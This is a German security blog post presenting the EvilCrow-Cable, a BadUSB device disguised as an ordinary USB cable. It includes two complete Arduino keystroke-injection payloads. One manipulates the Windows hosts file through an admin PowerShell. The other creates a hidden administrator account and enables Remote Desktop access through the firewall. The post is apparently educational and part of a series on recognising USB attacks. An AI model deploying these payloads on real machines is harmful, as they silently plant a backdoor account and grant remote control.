Tobias Scheible Cyber Security & IT-Forensik Dozent

EvilCrow-Cable – ein getarntes Angriffstool

Das EvilCrow-Cable ist ein getarntes BadUSB Angriffstool. Es sieht zwar aus wie ein normales USB-Ladekabel, im Inneren ist aber ein Mikrocontroller integriert. Sobald das Kabel an einen Rechner angeschlossen wird, aktiviert sich dieser automatisch und kann beliebige Befehle über eine virtuelle Tastatur ausführen.

Samstag, 06. Februar 2021
0 Kommentare

Das EvilCrow-Cable sieht zwar aus wie normales USB-Kabel, welches zum Beispiel zum Laden eines Handys an einem Rechner verwendet werden kann, jedoch befindet sich im Inneren des Steckers ein spezieller Chip, der eine virtuelle Tastatur simulieren kann. Damit lassen sich unauffällig BadUSB-Angriffe durchführen. Das Tool kann bequem über die Arduino IDE programmiert werden.

Das BadUSB-Kabel ist komplett in Schwarz gehalten. Auf der einen Seite befindet sich ein Micro-USB-Stecker und auf der anderen Seite ist ein USB-A-Stecker angebracht. Trotz des integrierten Chips ist der Stecker nicht größer als ein Standardstecker. Das Kabel hat eine Länge von ca. 50 cm. Außer den USB-Piktogrammen auf beiden Steckern sind keine weiteren Markierungen angebracht. Das EvilCrow-Cable lässt sich somit optisch nicht von einem normalen USB-Kabel unterscheiden.

EvilCrow-Kabel Tool
Getarnter BadUSB Funktionalität des EvilCrow-Cable
EvilCrow-Kabel Hardware Getarnter BadUSB Funktionalität des EvilCrow-Cable

Das BadUSB-Kabel nutzt den weitverbreiteten Attiny85-Mikrocontroller, damit stehen 8 kByte Flashspeicher, 512 Bytes EEPROM und 512 Bytes SRAM zur Verfügung. Derselbe Chip wird übrigens auch beim Digispark verwendet. Die Entwicklung des BadUSB-Kabels wird auf der GitHub Seite von Joel Serna Moreno beschrieben.

Einrichtung

Mit der Verwendung des Attiny85-Mikrocontrollers ist das EvilCrow-Cable kompatibel mit dem Digispark. Dadurch greift das Projekt auf die vorhandenen Treiber und Board-Konfigurationen in der Arduino IDE zurück. Daher kann zur Einrichtung einfach den Schritten, die ich im Artikel „Digispark – günstiges BadUSB Device“ beschrieben habe, gefolgt werden.

Programmierung

Die Programmierung des EvilCrow-Cable erfolgt gleich wie beim Digispark in der Arduino IDE. Wer bisher noch nicht mit dem Digispark gearbeitet hat, sollte die Einführung in die Programmierung zuerst im Digispark-Artikel durcharbeiten. Ich erkläre hier nicht noch einmal die Grundsätze, sondern zeige stattdessen gleich zwei Beispiele.

Im ersten Beispiel wird die Hosts-Datei unter Windows manipuliert, um den Aufruf der Domain google.de zu blockieren. Voraussetzung ist hierfür, dass kein Passwort für die Administrationsrechte benötigt wird. Dazu wird die PowerShell unter Windows mit Adminrechten geöffnet. Hierzu verwende ich eine neue Methode, indem ich das administrative Menü mit der Tastenkombination WIN + X aufrufe. In diesem Menü kann mit der Taste A der Eintrag Windows PowerShell (Administrator) aufgerufen werden. Als Nächstes wird der Dialog der Benutzerkontosteuerung mit der Pfeiltaste nach Links und das Taste Y bestätigt. Jetzt werden mit dem Befehl Add-Content zwei Einträge in die Hosts-Datei für google.de und www.google.de hinzugefügt, die auf die lokale IP-Adresse 127.0.0.1 zeigt. Dadurch werden alle Anfragen an die lokale Adresse umgeleitet, wodurch die Domain google.de nicht mehr aufgerufen werden kann.

#include "DigiKeyboardDe.h"  
void setup(){  
  DigiKeyboardDe.delay(3000);
  DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboardDe.sendKeyStroke(KEY_A);
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.println("Add-Content -Path C:\windows\System32\drivers\etc\hosts. -Value \"127.0.0.1 google.de\"");
  DigiKeyboardDe.println("Add-Content -Path C:\windows\System32\drivers\etc\hosts. -Value \"127.0.0.1 www.google.de\"");
  DigiKeyboardDe.println("exit");  
}  
void loop(){}

Im nächsten Beispiel wird mit dem EvilCrow-Cable ein neuer Benutzer angelegt, der der Gruppe ‚Administrators‘ hinzugefügt wird. Anschließend wird dieser neue Benutzer verbogen, damit er nicht mehr beim Log-in angezeigt wird. Danach wird einerseits der Remote Desktop Zugriff aktiviert, andererseits wird dieser in der Firewall erlaubt und zeitgleich wird der neue Benutzer der Gruppe „Remote Desktop Users“ für den Zugriff hinzugefügt.

#include "DigiKeyboardDe.h"  
String user = "geheimerbenutzer";
String pwd = "sicherespasswort";
void setup(){  
  DigiKeyboardDe.delay(3000);
  DigiKeyboardDe.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
  DigiKeyboardDe.sendKeyStroke(KEY_A);
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.println("net user "+user+" "+pwd+” /ADD");
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.println("net localgroup Administrators "+user+" /ADD");
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.println("reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /v "+user+" /t REG_DWORD /d 0 /f");
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.println("reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f");
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.println("netsh advfirewall firewall set rule group=\"remote desktop\" new enable=yes");
  DigiKeyboardDe.delay(400);
  DigiKeyboardDe.println("net localgroup \"Remote Desktop Users\" "+user+" /add");
  DigiKeyboardDe.delay(400);  
  DigiKeyboardDe.println("exit");
}  
void loop(){}

Durch die Popularität des Digispark gibt es auf GitHub mehrere Verzeichnisse mit Beispielcodes, die auch mit dem EvilCrow-Cable genutzt werden können:

USB Artikelserie

Dieser Artikel ist Teil der Artikelserie Angriffe per USB, die dem Themenschwerpunkt Hacking Hardware angehört. In dieser Artikelserie beschreibe ich verschiedene Arten von Angriffsmethoden über die USB-Schnittstelle, damit diese erkannt und effektive Gegenmaßnahmen getroffen werden können.

Über Tobias Scheible

Tobias Scheible

Hallo, mein Name ist Tobias Scheible. Ich bin begeisterter Informatiker und Sicherheitsforscher mit den Schwerpunkten Cyber Security und IT-Forensik. Mein Wissen teile ich gerne anhand von Fachartikeln hier in meinem Blog und in meinem Fachbuch. Als Referent halte ich Vorträge und Workshops für Verbände und Unternehmen u. a. auch offene Veranstaltungen für den VDI und die IHK.

Kommentare

Es wurde noch kein Kommentar abgegeben.

Schreibe einen Kommentar!

Hilfe zum Kommentieren und Hiweise

Um kommentieren zu können, geben sie bitte mindestens ihren Namen und ihre E-Mail-Adresse an. Bitte nutzen Sie die Kommentarfunktion nicht dazu, andere zu beleidigen oder Spam zu verbreiten. Trolle und Spammer sind hier unerwünscht! Unangemessene Kommentare, die zum Beispiel gegen geltendes Recht verstoßen, eine Gefährdung anderer Besucher darstellen oder keinen sinvollen Inhalt beinhalten, werden gelöscht oder angepasst.

Name: Ihr Name, der oberhalb des Kommentars steht, gerne auch Ihren echten Namen, das erleichtert die Kommunikation für alle. Sollte ein Spam-Keyword als Name verwendet werden, kann dieses entfernt oder korrigiert werden.

E-Mail: Ihre E-Mail Adresse dient zur Identifizierung weiterer Kommentare und damit ich direkt Kontakt aufnehmen kann. Die E-Mail Adresse wird natürlich nicht veröffentlicht und nicht weitergegeben.

Website: Hier können Sie ihren eigenen Blog bzw. ihre eigene Website eintragen, dadurch wird Ihr Name und Ihr Avatar-Bild verlinkt. Werden rein kommerzielle Angebote offensichtlich beworben, setze ich den Link auf nofollow und unangemessene werden einfach entfernt.

Erlaubte HTML-Tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <hr> <big> <small> <sub> <sup> <u>

Ihre E-Mailadresse wird nicht veröffentlicht. Mit dem Absenden anerkennen Sie die Datenschutzhinweis des Blogs.